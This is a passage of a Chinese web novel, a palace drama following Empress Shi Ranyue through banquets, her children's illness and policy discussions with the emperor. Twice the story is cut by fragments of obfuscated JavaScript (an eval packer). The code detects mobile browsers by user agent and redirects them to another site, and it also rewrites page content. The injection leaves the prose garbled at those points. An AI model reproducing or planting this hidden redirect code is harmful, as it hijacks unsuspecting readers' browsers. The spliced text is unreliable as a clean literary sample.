“且不说远的,就是今日要见的这四位,倘若只是三嫂与和言入宫,那于我简直是一桩天大的幸事,可偏偏还有怀宁长公主和陇西郡王妃,这便又是个辛苦事。” “娘娘不如结束后单独将云和长公主和闽中郡王妃留下来小叙?”啼樱试探着道。 “那样外人便会凭此猜测陛下与我的态度——三嫂也就罢了,单留闽中郡王妃而不留陇西郡王妃,岂不叫人觉得厚此薄彼,甚至因而看重闽中郡王府而轻视陇西郡王府了。”师冉月叹道:“啼樱,你去瞧瞧木莲和春桃,她二人都是我才从下面选上来的小宫女,十三四岁而已,做事还不大稳当。” 啼樱点头称是。音儿看着她走了,微笑道:“啼樱还不算稳重,姑娘便放心她去教导那些小宫女么?” “她虽不稳重,但不会装腔作势滥施私刑,又好亲近,对这些才选到身边的人来讲倒比你亲自去还妥帖点。何况啼樱自小是你带出来的,比你不足,比旁人总要胜过许多了。”又不免笑道:“当年是你教导她,如今竟也轮到她去教导别人了。算算她今年也十九岁了,过会儿有空且得问问她的意愿,千万别因为跟我入了宫耽误了她的终身大事。” 这厢坤宁殿如今的掌事太监、从前夏公公的徒弟吴怀安进来道:“娘娘,前殿宴席已经摆好了,二位长主和二位王妃已经入了慈顺门了。”慈顺门是内宫门,一入慈顺门,到坤宁殿也只需不到一炷香的功夫了。 “知道了。”师冉月眉眼重新蒙上倦意,喝了口冷酒强打起精神来,又吃了口清茶漱口,换上事先准备好的大红压黑的衣衫,再一次准备着做起师皇后来。 30. 第 30 章 官和言几年来在这样的场合下一直习惯性地将视线安放在面前的酒杯上,目光反复描摹着纹路,装聋作哑般回避周遭的言语交际。不过今日想着师冉月,总归内心有些雀跃期待,却还是疲于抬起眼帘以免与对面的陇西郡王妃王氏对视。 端木萌瞥了瞥装鹌鹑的官和言和麻木着一张脸的王氏,刻意回避对面长姐灼灼的目光,侧身问尧儿道:“皇后怎的还未来?” “奴婢方才看见坤宁殿的德保,他说吴公公已经进殿通报了,想必快了。” 端木萌点了点头,低头理了理琼紫广袖,上面拿金线杂着暗紫色的珠线绣了密实的花鸟纹样,华贵非常。这料子难得,纹样更费工时,原是上供给皇后的其中一匹,结果师冉月只选了一匹正红的和一匹鸦青的,琼紫的叫人送到了阳曲侯府,还有一匹淡曙红的如今就在官和言身上穿着。 思绪乱飞间,师冉月已迈步进了前殿。四人纷纷起身行礼。师冉月施施然走到主位落座,一声“免礼”话音落地,殿里便再次归于沉寂,只有来往布菜的宫女轻微的脚步声和盘碗碰撞的微响,纷乱铺陈的噪音在大殿底色间漫延回荡。 依礼奉酒三巡,师冉月才率先开口:“诸位与我也都是旧相识了,又都是自家人,虽许久不见,今夕非昨日,但也不必刻意生分了。”说罢主动举起酒杯,率先对着端木葭道:“若是在寻常人家,本宫合该称长公主一声‘长姐’,日后若有什么事还要请您帮衬。” 端木葭微笑举杯还酒示意,一饮而尽方道:“不敢当。” 师冉月笑道:“说来上次与长公主这般叙谈,还得是承祐十年颍川侯府办寿宴的时候呢——那会儿也是王姐姐刚嫁到郡王府,第一次与郡王相携出席罢?” 王氏一个激灵似的转头看过来,目光无神缥缈,脸上的肌肉僵硬地牵起嘴角,点了点头,声音生涩道:“娘娘一如当年貌美。” 端木葭却笑道:“我却觉得娘娘与云和一般,这些年来倒是变了不少。” 端木萌的目光不经意间碰上端木葭考究的双眸,又迅速移开目光看向师冉月,笑了笑:“怎么会呢?姐姐大概是许多年未见我们,记错了罢?” 端木葭却看着端木萌,接着缓缓道:“娘娘与云和幼时到各家赴宴,几次混到男儿堆里闹得翻天覆地,如今却有九分浑似唐夫人与萧夫人了,怎能不说是今非昔比呢?” “还是长公主记性好,本宫这些年都快忘了旧年在京城的事了。” 这般有一搭没一搭地说了会话,师冉月便托口倦了,便也顺势撤了席面,又邀四人在宫中留一晚,除却端木葭推说其子女尚且年少,不能教人放心,故而出了宫去,其余三人也就顺势答应了下来。宫人引着官和言与王氏去了住处,师冉月与端木萌慢慢登上城楼,看着端木葭在宫门口踩着下人的背上了马车,墨绿的衣裙如深潭中的青苔,在暮色中慢慢隐匿。 “姐姐端然还是当年那个定陶公主的样子,这么些年,也不曾变作岳夫人。”端木萌自嘲般冷笑。她心知端木葭席上所言“浑似唐夫人与萧夫人”并非说她与师冉月不似少时而变得成熟稳重了,是专意点她如今没一点公主的样子,全然与寻常勋爵人家的夫人无异。国朝常有士大夫赞美能放下身段孝顺舅姑、抚育子女、体恤侍从的公主,好以此把她们当作活的《烈女传》来为天下女子做表率,然而端木葭却自小对此鄙视不已。端庄贤良是她自诩的优点,可她却也从不曾放弃作为皇帝嫡出长女的尊荣。 “我记得我进宫做伴读时,怀宁长公主还未出降,有一次我在她那里吃茶酥,有个端点心的小宫女将一个瓷盘不小心摔碎了,长公主便罚她高举着碎瓷片在宫门前跪了一日。”师冉月回忆着,“她赏赐侍从时最大方,但若有不如意时惩罚也会毫不留情。我曾经还问过昭献皇后,这是不是就叫做赏罚分明。”她哼笑了一声,又道:“不过各人有各人的缘法,也谈不上对错之分。” 手指轻轻抚摩着城墙上的石砖,端木萌看着远去的马车,望着不远处各家的庭院楼阁,琉璃屋顶在夕阳下恍如金顶,古树名木杂在其中,生长得郁郁葱葱。她的心中无端难受起来,指尖混乱地扣着墙面,疯了似的觉得那揪心似的感觉莫名地激起了报复自己般的快感,却又恍然松开手指,怅惘着不知道自己混乱的思绪要落在何处。 趁夜里,师冉月悄悄绕过身旁熟睡的端木玄,只穿了中衣披着披风,便独自跑去了官和言的住处,也不许守夜的宫女通报,自己闪身溜进去,将初秋夜里冻得有些凉的手一下子捂在她的颈上,又手忙脚乱堵住她尖叫出声的嘴。 官和言的侍女点燃了两盏灯放在床帐内,便又退了出去。官和言捂着胸口大喘了几口气,又微微咳了两声,才虚着嗓子道:“你真是吓死我了——这大半夜的你怎么能偷溜出来呢?你如今可是皇后啊。” 师冉月得意:“正因为我是皇后,就算被人看见了也无所谓啊。” 官和言吐吐舌头,拢了拢肩头披着的锦被,道:“名声不要啦?” “你从前最不在乎这些,可是王府里拘着你了?” 官和言随意笑笑,烛光朦胧温热地覆在脸上,竟能看见眼角些许细微的纹路。她学着师冉月的语气道:“正因为我是郡王妃......谁能拘着我啊。别说这些了,你一离京这十来年,总是一年半载的都没有个信儿,后来你成了楚王妃,我又不清楚你那府里的底细,也不敢在信里给你多写些什么,快都给我讲讲。” “你倒是与原先一个模样了,白日里却装起木头来,比陇西郡王妃瞧着还沉默寡言。”师冉月展开笑颜,随后二人便一一絮叨起这些年互相的见闻感受,直直到东方鱼白,宫人悄声进门来提醒,师冉月才顶着青黑的眼圈赶在端木玄上朝前又回了坤宁殿去。 夏日的暑气消退得骤然,不过一日之间,风的味道就有了秋意,落在宫墙上三三两两自成一排的鸟儿的叫声也仿佛成熟的果实婉转饱满。然而却也因着这场秋风,端木城、端木玦和端木含兄妹三人却皆染了风寒。 “告诉皇后娘娘,公主生病,我无法分心好好侍奉陛下,还请娘娘代我谢罪。”徐聆雨哄着咳嗽得直哭的端木含心急如焚。端木玄登基后为了防止朝臣猜测结党站队,凡是在后宫过夜,便遵循着皇后一日、贵妃一日、昭仪一日的规律,从不偏颇。前一日林绵陪端木玄看了半宿折子,又照顾了发热的端木城半宿,累得自己差点病倒。徐聆雨自认不敢在端木玄面前违逆不尊,而端木含还小,她更是一刻不敢离开,只好早早谢客为妙。 端木玄倒似是对自己这三个孩子的病状都不大担心,除了叫太医每日向他禀报一次,没有什么别的举动。 “做父亲的总是只有子女出生时新鲜一会儿,取得荣耀时骄傲几分,其余旁的总比不上他自己的事业。时时看顾子女一举一动的总是少之又少,能为之谋深远多筹谋几分的就得是烧高香得来的了。”何况是端木玄。商贾出身本会限制他的人生,机缘巧合却赐给了他精明的头脑、令人叹为观止的交际能力和永远捂不热的只懂交易的心。 师冉月叹气:“罢了,合月,你去与烟水说一声,请陛下留宿他自己的清和殿罢,也免得皇子公主把病气过给他。就劳烟水照顾陛下几晚了。”自己又取了木莲浸了凉水的毛巾来反复擦着端木玦全身。啼樱端过药来,皱眉道:“娘娘,这药方才我尝了一口,苦得很,只怕小殿下不肯喝。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226145|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 师冉月亲自接过碗来,舀了一勺吹了吹,亲自用唇试了试温度,却只觉得光是唇上沾的味道就已经苦得要命,只得叹道:“也无所谓苦或是不苦了。”奶娘将端木玦扶起来,叫他坐靠在怀里,师冉月亲自边哄边喂,端木玦却是半吃半吐,好容易一大群人围着把药吃完了,又塞了块甜米糕在他嘴里,看他逐渐睡了,众人才敢松了口气。 中途又折腾着给他擦了几遍身子,直到天蒙蒙亮,端木玦才终于退了烧。师冉月叫两个奶娘换班守着,自己才走出偏殿透了口气。啼樱扶着她道:“娘娘不如去睡会儿罢?您这两日拢共也没睡上几个时辰,这么熬下去身子要受不了的。” 师冉月望着发白的天光,拢了拢褶皱的水青色披风,双眼干涩,却偏偏没有困意。“你去睡会儿罢,音儿有了身孕出宫,这几个月坤宁殿的宫人都要你来统领,辛苦得很。” “我不辛苦的,娘娘,我还指望着音儿姐姐回来时夸我呢,可不敢松懈。娘娘要做什么我陪您去。” 师冉月笑笑:“只喜欢音儿夸你,不喜欢我夸你吗?” “娘娘夸我当然更好。” “好啦。你现在若肯听话去睡觉,我便夸你。”师冉月拍了拍她的手,“我想一个人走走,你日后还有的累,自去睡罢。” 好容易劝走啼樱,师冉月忍不住暗中笑叹:“真是个倔丫头。”也不许坤宁殿旁的宫人跟着,自己一人往殿外踱步。长街寂静,宫墙披着世上最鲜艳的颜色,也显得冷清。偶尔路过一队扫洒的宫人,恭肃着站成一排,低头直到师冉月孤寂得奇异的身影在余光中消失。她仍漫无目的地走着,腿脚似乎受了什么的牵引,一步一步踩着洒水的石砖。忽然不远处传来一声孩童的哭嚎,伴随着打骂声,接着便是不断的压抑着的啜泣和呜咽。师冉月一惊,抬头瞧了瞧一旁的牌匾,原来她已走到宫中梅园另一头的花房。 她给门口迎上来的宫女嬷嬷们使了个眼色,放缓了步子走进去,才看见原是一个小太监跪在一堆碎瓷旁,正被花房副掌事拿着竹笞责骂,想是失手摔碎了花瓶。 师冉月微微抬高了音调,唤了一声“奚嬷嬷”。副掌事忙抬起头,看清来人倏地跪下:“皇后娘娘金安!” “这孩子犯了什么事?” “他毛手毛脚的,摔碎了要放到陛下书房里的建兰的花瓶。都怪奴婢惊扰了娘娘,这儿一地狼藉,不敢扰娘娘清净,还请娘娘移步。” 师冉月却没有分给那上前来想引她到一旁的小宫女眼色,也未叫奚嬷嬷起来,道:“嬷嬷是宫里的老人了,原先昭献皇后就曾夸奖过你,昭顷皇后更是把你提拔成了副掌事。如今林掌事将要出宫,这关头上嬷嬷何必发这么大的火气,管教下属,也该有个分寸。” “是......是,奴婢知错,谨记娘娘教诲。” “小荷,扶嬷嬷去喝碗茶消消火气。”师冉月看着奚嬷嬷战战兢兢地退下,才慢慢走到那小太监身前蹲下,叫他抬头。怯生生的眼神望过来,似是新入沸水的新茶叶瓣,瑟缩,湿漉,又莫名有些舒展,更叫师冉月觉得似曾相识。 “叫什么名字,是哪里的人?” “小人叫苏预,是塘郡人。”不是意想中的磕绊,他声音清澈明亮,虽是还隐隐带着哭腔和口音,却还是叫人听着悦耳得很。塘郡与逢州比邻,倒也叫师冉月多了几分恻隐。“怀安,你带他去前省侍书院罢。”师冉月对着满头大汗匆匆赶来的吴怀安道,“......这个‘预’字,如今倒不大合适,就改叫‘裕’罢。裕,衣物饶也。往后要再谨慎细致些。” 苏裕点了点头,被吴怀安拍了拍肩,忙又跪下行礼:“小人谢娘娘赐名,多谢娘娘教诲。” 31. 第 31 章 被这点小插曲打断,周遭宫人也又簇拥了过来,师冉月也没什么心思再乱走下去,便早早回了坤宁殿,又去看了眼熟睡的端木玦,才合衣小睡了会儿。还不到晌午,端木玦便醒了,虽然没有再发热,却断断续续咳嗽起来,兼连流着鼻涕,倒比发起热来晕晕乎乎的还要难受。师冉月又怜又急,连着人问问端木城与端木含的情况也顾不上,等太医看过又调了药后,便亲自抱着端木玦,来回哄着喂药安慰着,好容易待他咳嗽歇下来睡着,才发现天已将黑,自己却作息颠倒着整日未进食,肚子空得难受。 “啼樱,怀安,快给我弄些吃的来!” 啼樱一面端上来一盘刚蒸好的山药桂花糕,一面却道:“娘娘,方才近黛姐姐来说陛下邀您去前面用晚膳,说是有事与您相商。” 师冉月半口糕差点卡在喉咙里,推开了怀安手里的茶杯,直接拎起茶壶猛灌了两口,好容易才缓了过来。“真是造孽了。”忍住想要喋喋不休骂人的欲望,师冉月静静坐在远处,也不理怀安他们不住地用眼神催促,硬是又吃完了三块桂花糕,甜蜜绵实的口感填满了口腔也平复了心情,这才慢慢悠悠去梳妆整理,换上一身雀头青的锦衣,衣料上是授蓝和明黄色调的蜀绣,端庄大气又明艳张扬,外罩着白青斗篷,瞧着暖和踏实。“合月,告诉奶娘仔细看顾着太子,再叫木莲去问问大皇子和令成公主的状况。” “方才贵妃宫里的人来说大皇子已经好的差不多了。属下已差人去昭仪宫里询问。” 师冉月轻叹:“果然,叫大皇子多跟着师傅强身健体还是对的。” 合月笑道:“太子殿下和令成公主尚幼,再过几岁想必也就和大皇子一般强壮了。” 顶着凉风往清和殿走去,师冉月有些瑟缩。手中的手炉渐渐凉了下去,啼樱看着师冉月的神色将手炉换下来,狠狠挖了负责往手炉中添香的宫女一眼。师冉月没有理会,只加快了些步子往前走。 进了殿中,充足的炭火气混着淡淡的木质香瞬间闯进鼻腔。师冉月打了个颤,才觉得热气慢慢渗入血液,浑身都舒展起来。她望着坐在桌前的端木玄微微笑着行了个礼,道:“好久不在京中过冬,倒有些不适应了。” “是坤宁殿的炭火不足,还是宫人不尽心?”端木玄问道,“啼樱虽侍候你的时间也算长,看来还是不如音儿妥当。” “哪里。”师冉月笑笑,“是我自己的缘故,怨不得旁人。” 见她落座,总管太监岑嘱全便示意宫人上菜,倒全是师冉月喜欢的菜色,甚至还有不符合宫中菜样的鲜虾蛋羹。师冉月眸色发亮,有些惊喜。端木玄见状,笑中带着些得意,仅留了几个二人管用的侍从侍奉,其余人皆屏退,殿内的氛围迅速松弛了些,倒像是在王府的光景了。两人各自吃着,一时无话,所幸殿内皆是熟人,也不必遵循着繁琐的规矩,吃得还算尽兴。 饭后又饮了一小杯果酿,师冉月方觉得心满意足,连日里来的疲倦也都消散了些。端木玄看着她突然笑道:“皇后碰上自小跟着的侍从,便心软体贴,碰上这宫里原本的人,便心冷手硬了。” 师冉月愣了愣,原是前几个月她连着罚了好些个消极怠工懒懒散散的宫人,轻则罚俸,重则发配到行宫服役,还有几个背地里嚼主子舌根的宫女太监被她剪了舌头打出宫去,一时间阖宫上下严肃非常。“朕听闻,有人把你比作活阎王,喜怒无常。” 师冉月勾唇笑道:“陛下不也当众廷杖了几个臣子。臣属侍从若是各行其是,哪怕规矩没有完全立好,也可慢慢归拢,然而这宫内宫外乱了几年,换了好几个主子,人心散漫只知道混日子等死,甚至别有用心者另谋出路,盯着你我这样的人就像盯着金山银山,白天夜里恨不得敲下来一块带走,怎能心软?” “那么,今日你安排到侍书院的那孩子究竟是如何软化了你这颗心呢?”端木玄好整以暇地盯着她,眼神中似乎有些别有用心,却又好像只是随意好奇着一些无关紧要之事。不过一尺之隔的距离,眼眸深邃似是未被踏足过的迷雾缭绕的森林般青郁近黑,充斥着危险的讯息却偏偏引着人去探寻。 师冉月是少有的不被这森林迷惑的人,她甚至会驻足在林前,搬把椅子来悠哉地观察着雾气如何漫延又如何散去。她眯了眯眼:“他眉眼有些像言哥儿,身量也相似,年岁也与我那几个侄子差不太多。” 端木玄嗤笑:“我还以为你会说些‘稚子何辜’、‘幼童可怜’之类的话。”他弃了‘朕’字,叫这场景不似是在巍巍宫墙内,倒像是在京中酒楼、南湖廊桥或是慕州银朱楼中了。“不过那个‘裕’字,寓意虽好,他这样的人却压不住。我叫人给他改成‘遇’字了,就当纪念他有幸长得像言哥儿,又遇着了你,因祸得福了。” 师冉月心下却觉得这名字不像是给宦者所用,但也懒得反驳,只是笑了笑:“陛下喜欢就好。不知陛下今日找臣妾有何事?” 端木玄斜靠在椅背上,道:“朕将宣布明年三月重开春闱,广纳贤才。科举放榜之后,也要准备选秀一事。”自端木玄登基后,便常与师冉月说起前朝事,偶尔闲谈,偶尔正色,也会询问她的看法,甚至还会予以采纳或是放之到朝堂上令臣子们讨论商议,似是默许了她干政。 师冉月闻言点头:“这是应当的。贤才能士是治国理政的栋梁,近几年动乱耽搁了科举,是该早日恢复。选秀之事陛下有何打算?” “平衡为准。彼时对照着新科进士再行定夺即可,此事你全权把握就是了。”略微思索,又道:“近些年历代宫中高位的妃嫔和女官基本都是朝廷命官或是公侯伯爵之女,公主也大多出降到了类似的人家,此次倒不妨选些地方官员或是各地望族的女儿进宫。” 近些年朝中内乱严重,以致地方官员的轮换和调动都有些耽搁。有些边境要塞郡县的长官还是由武将任职,手中或多或少皆有兵权。武宗前期曾收权流兵,以防兵将互亲拥军自重,但近二十年边境部族多有叛乱侵扰之事,外加偶有灾荒之年,流民问题严重,甚或有农民起义须得镇压,于是兵权又逐渐下放,史自兴当政时尤甚。端木玄方执政,不好一下子收归兵权,只先将西南、西北、东北重镇的将领略作调动,将先前朝中派去支援的军队逐渐收回,地方上的问题尚未着手。 前两个月师霖亲自奉诏收回了几处大矿,增设了官员负责管理且皆由朝中派人任职。原还是端木玄为地方之事发愁,师冉月提出“不如先收财再收兵”。在朝中议时,学士余褐便提出可以先从矿产入手。将矿产收归国有,于百姓生计并无多少影响,因此除却当中有利益纠葛人家便没有什么麻烦,被师霖带着余褐、蒋节一通威逼利诱,此事便也大功告成。然则再想继续却陷入了僵局。 “地方上必须要有些钱财预备赈灾救急,这是不好变动的,就算要变动,收回多少、留下多少也需要从长计议。粮仓也同理不可轻易变动。至于当中官官相护层层盘剥早已是痼疾,不是一朝一夕可以解决的。” “臣妾听闻朝中有士大夫建议减官减俸?” “是有人上书如此,这也是历朝历代实行变法时的老法子了,但成功的却几乎没有。先说俸禄,国朝百官俸禄并不算多,按正常人家衡量只是温饱有余,若是谁家在朝为官者少而人口却多,全家只指望着这些俸禄而活,那恐怕甚至是勉强温饱。更别提官员间总有应酬来往等各种事务所费银两皆不是小数目,于理不合于情却也说得通。是以没有绝对的清廉,更不能要求绝对的清廉。若再减俸,恐生罗乱。” “为官者本就该为百姓谋利,不然怎有‘达则兼济天下’的话?” 端木玄转了转白玉扳指,嘲弄般叹道:“一门心思在仕途上往上爬的人,就算起初从那孔孟圣贤书中悟出了什么崇高的人生理想,也早就被现实磋磨没了。换言之,好不容易爬到了官位上,却要求他比原先还清白还无私,也算苛刻。” 师冉月有些沉默。端木玄继续道:“是以,朝中往地方的各种拨款,自太守起层层私吞,能剩下来些留给百姓就已是不错,更别提反过来从百姓指缝中搜刮的了。” “我在逢州时,曾特意换上粗使丫鬟的衣服到庄子里和田间去,也曾与一两个农人交谈。那时大哥曾说我不知人间疾苦,因此我一是散心,二是特意想去看看大哥口中的‘疾苦’与我在书里读到的究竟有什么不同。”风一紧,殿内的烛火一闪,师冉月没有看着端木玄,眸光淡淡地落在桌上那一碟青团上,脸色在烛火肩明暗交织,陷入有些久远的回忆里。 “那时逢州的状况其实应当算是很优越的了,连着几年没有大灾收成不错,没有战乱,徭役也算少,因此百姓也能顺应农时生产。除却赋税,他们并不大关心为官者如何,更怕和官府粘连招惹事端。他们所上的学不过是村子中未能中举的老秀才为了糊口开的私塾,能写自己的名字、背几句三字经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226146|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已是不错,能有年轻人抱负深远想要学那戏本子里为百姓做主的父母官的,也根本没有机会读书科举。 “至于像我大哥这样的人,本可靠恩荫为官却偏要科举的,这世上倒没几个。家境中等想靠科举再向上搏一搏的,就算不是对着诗书礼易死记硬背应付考试而真心读懂些道理的,也没几个能真正设身处地体会平民百姓的处境,更别提那些流民饿殍了。这就好比我至今仍理解不了,那些家境贫寒连大人都吃不饱饭的,为什么还要一个接一个生下孩子。” 端木玄沉默地听着,末了道:“与你所言类似,穆宗时就曾经有太学监正提过,他主张广办官学,先兴教育而后以科举选拔,方能做到不论家世取士天下。但此事说来容易,若想真正落实,经费便是一大问题,因此穆宗时便不了了之。后来武宗即位初年也曾重提此事,主张改村庙祠堂等为学堂,物议沸腾,加之就算朝廷真正在各地都设了免费的官学,能真正寒窗苦读勤修学问的又有几个?兴许就如你所言的那些农家子弟会觉得读书不如务农,商贾人家会觉得读书不如经商,大多只求识字,至多明理,恐怕就不肯再读下去了。” 又道:“似大舅兄这般侯门子弟衣食无忧,若真能有所悟,倒真能以悲悯待百姓,对于百姓来讲就已经是很不错的父母官了。而他家资深厚,自不必靠贪污受贿发家,是以能保持身姿清白。” 师冉月嘲弄道:“史自兴家底亦不薄,对着钱权仍是那副贪婪嘴脸。人心复杂,不是能只靠学问、家资等就能区分开的。”又转而道:“既如此,陛下可是要改革科举?” “不急。如今离春闱不过半年,骤然改革无法保证完善,更会扰乱人心。先提拔上来一批新人瞧瞧看,兴许当中能有人针砭时弊,提出些什么好法子。” “那地方上一事,陛下打算如何?” “慢慢看罢。”端木玄有些疲惫。“只怕我们最后黔驴技穷,也终究无法改变什么,只求不要适得其反。” 师冉月眼眸微沉,眸光中闪过一点哀色,似是炎炎夏日飘下来的霜花。“怎么,你如今的追求,难道是成为千古称赞标榜史册的明君?” 端木玄的脸色有些崩塌,像是冰融化前的挣扎。 自小粥棚前排着长队衣衫褴褛的流民浮现在眼前,九州大地上一座座古老巍峨的、遍布着硝烟与血迹遗痕的城墙下是衣不蔽体的饿殍,是吊着一口气苟延残喘的乞丐,是孩童干瘪的尸首,是惨遭奸杀的女子,是庇护不了幼子的无助父母,是麻木呆滞形如恶鬼的人。登高望去,埋没在海浪般层叠的琉璃瓦下的,人与人的命运天壤之别。居于高位者同样麻木,无关紧要的怜悯如同大旱之年苍天吝啬施舍的一点飘雪。 “就算你想,这世道已经烂了,你救不了。” “陛下,臣以为——欲改地方官制,不如先通商路,理财政。” “卿但说无妨。” 御书房中未熏龙涎香或檀香,倒是有一股淡淡的柏木香。师霖斟酌开口:“臣查收矿产时发现如今商户大多惧怕官府设限或民乱匪患,商路不如几十年前那般全国通畅。行商者即钱货流通,若是商路遭到限制,钱货滞涩,朝廷若想丰盈国库,就只能从税收和俸禄上开源节流,自然与官制息息相关无法随意改动。然而若是先软硬兼施稍稍平息民乱,给商户一些政策,各大府路也能从中稍稍谋利,则必不会过于反对,兴许倒好施行。” 蒋节点头附和:“师太傅此言有理。若是市舶司也稍加改动,使下海到外洋的商户与藩商同内地的商贾相配合,必能事半功倍。且前些年海上倭患匪患已经被平息的差不多了,此举倒不必多费兵力,只是需要放宽些出海的条例限制。” 端木玄道:“卿等说得有理。若是北方互市亦能参与进来就更好了。” 户部尚书陈科道:“陛下,此事不宜操之太急,当徐徐图之。况西北近二年虽平,北方与东北部族与周边小国却常扰边民,若想谈判议和、寻求互市,恐怕还需要时间。” “那便先平匪患,通内地商路,请卿等商议先划定几大州府不设坊市限制,也允许城中百姓将自家余粮、余布还有手工品等自行买卖。行商于国内不设通关税,今年先减免一成商税。市舶司尽快给朕一个方案,若要放开海路,放开多少、如何设限设税,藩商与我朝商户是否做区分,如何保障出海的安全等,都要详细切实。” “臣等领旨。” 32. 第 32 章 “大嫂自入秋时染了风寒,咳疾一直未愈,怕影响焕哥儿准备科考,托我将安居堂收拾出来给他住。” 再度回京后,师霖袭了爵位,端木萌便是正儿八经的阳曲侯夫人,萧晨便逐步脱手了掌家之权,称应当由侯府主母主持中馈。师穆袭爵时萧晨本也有意让权给端木婉,然而彼时端木婉乐天派一般追求逍遥快活及时行乐,只答应帮忙,却不肯全权接手,找萧晨撒娇耍赖好几回,此事便也不了了之。后来又横生变故,便也就此搁置下来。 师家从前好几代单传,没有分家的旧例,长房与二房又都只剩孤儿寡母,子女也皆未成年,因此众人在一起商议了,还是原来一大家子一起住着。 “也好,安居堂本就是大哥从前备考时的住处。” 端木萌却皱眉道:“只是史自兴来抄家之后,安居堂只简单收拾了下残局,都没什么布置。周围又是祠堂树林之类的,焕哥儿还小,叫他一个人住进去苦读恐怕不适应。何况就是真为了准备科举也不至于这般吃苦——你莫要拿外头什么贫寒子弟做对比。” 师霖眼看她越说越气,一遍好笑她不知是受了什么刺激,一边赔笑道:“怎会。先把留源轩东厢收拾出来叫焕哥儿住着,我再找人仔细收拾安居堂便是了。” 留容轩院里种的是月季和垂丝海棠,西厢南窗下是西府海棠,西窗下是玉兰和迎春,东厢外也是木瓜海棠,到了冬日里无端显得落寞寂静,但被师婷欢带着人修剪一番后反倒显得干净整洁起来,倒也免了端木萌近日来处理各种事务的满心烦乱。 师霖在府外装的人模狗样,实际上也累得要死,少时花天酒地到处应酬,只怕认识全京的王孙公子还算不够,得与全天下的人都认作兄弟才好,如今却恍然惊觉能毫无顾忌信赖的也就师骁一个,只恐怕一不小心说错了话做错了事就又要致使全家遭祸,因此只好步步为营。但每每回家见儿女与一帮侄子侄女大呼小叫上蹿下跳,他倒不觉得厌烦,只觉得有趣,然而最最有趣的还是看见端木萌也忙得焦头烂额。 端木萌对此都懒得回怼什么。从前萧晨掌家她不过帮着打下手,都是萧晨告诉她做什么她就去做,轮到她来主持中馈才发觉原来需要她安排、指挥、经手、决策。“小六真是个走运的,当年她接手王府的时候那个叫烟水的都给她打理得板板正正的,音儿与合月也得力。唉,楚王府也是人口简单,不像咱们这一大家子。” 师霖轻笑:“等着吧,她的好日子也要到头了——明年放榜之后就要选秀了。” 端木萌瞬间警觉:“小六能应付得来?不行,过几日我要进宫一趟。” “别急嘛。今上又不是武宗,后宫再怎么争抢也入不了他的眼,便也没有争抢的必要。” “你一个男子自然不懂,宫里的弯弯绕绕哪是这么简单就能说明白的。就算今上无心女色也有的是可争抢的东西。女子付着一辈子不复再见父母家人、失去自由的代价进那无趣无聊的牢笼里去,自然要为自己的族人和孩子谋得利益。前朝兴许斗不过师家,那宫中要是没了个皇后,是今上会为了小六空悬后位还是你师霖还有个妹妹能送进宫去?”少年时一幕幕模糊的回忆渗着冷风钻进脑中,端木萌突然有些胆颤心寒。 师霖搂住她的肩轻轻抚摸,一点一点把她抱进怀里,轻声道:“别害怕,不好的事都不会再发生了,我保证。” 端木萌强忍着情绪,一张脸全埋在师霖怀里,却还是忍不住微微颤抖。她得知昭献皇后的死讯太过滞后,滞后得她已经提前把眼泪流完,默默收敛心情接受了无可奈何的事实。那座皇宫保存着她无法无天受尽宠爱的童年,也改变了人心,埋葬着她至亲的灵魂。甚至回首看去,连她光鲜亮丽的童年里也藏着阴暗血腥,如同夜里枝头啼鸣的杜鹃字字泣血:早夭的兄弟姐妹,死状凄惨的平卿贵妃,无缘无故失踪的宫女嬷嬷...... 人心可畏。师霖感觉到端木萌的后怕,却更多的在担忧未来。师家私兵可助端木玄夺天下,自然也可以从他手中夺走,这个道理端木玄也不会不明白。围城逼宫后,凡跟随端木玄的都受了封赏,然而手中有兵权的二位长公主的驸马皆被换兵,仍远戍边疆。安王也被收了虎符调换封地,唯独对师家无所措施,倒叫师霖提心吊胆。 厢房里孩子们的吵闹声逐渐安静,灯一盏一盏熄灭,无穷无尽的黑暗像天穹倾倒下来的黏稠的墨汁,连着滞涩了控制世界的牵丝线。墨顺着丝线缓慢流淌,落在终处即是洪流。 新帝登基的第一个新年,一切百废待兴。 自那日谈话后,师冉月便总是试图让端木玄清楚,就算他当真贤能,国朝也不需要一位中兴之君,而是勉强维持便算是成功的君主。这不是休养生息一切勃然待发的时代,而是疲惫不堪需要一场彻头彻尾的变革才能迎来新生的时代。 “端木家的天下也不需要你来守,何须为此费尽心思?” 端木玄却盯着她道:“皇后以为,朕与皇后便应当从此混吃等死了吗?” 师冉月哑声。 端木玄缓和了一点表情,示意合月扶着她坐下。清和殿的宫女薄枝端上来一碗酸枣麦茶和特意为师皇后备的茉莉蜜茶,递到了师冉月面前后便退下。端木玄给了岑嘱全一个眼神,示意无关人等都退出殿外,才沉声缓缓道:“我晓得你自从少时就觉得这世道无药可救,你的人生也全屏旁人安排无所指望,只是原先在王府时你还总是给自己找些事做,怎么如今这般颓废?你自小在京中长大,又常进宫,我以为你会适应得好些。” 相比之下徐聆雨便似是不大习惯,有些崩溃,如今借着端木含病了,自己也闭门不出拒不见人。师冉月好心说着叫太医去看了几回,吃着些汤药,这才肯慢慢出门走走,与林绵和师冉月说些话。 师冉月抽了抽嘴角,僵硬道:“宫里处处是规矩,怎好随意放肆。我如今是一国之母,是全天下女子的表率,怎好随意逾矩惹人非议。” 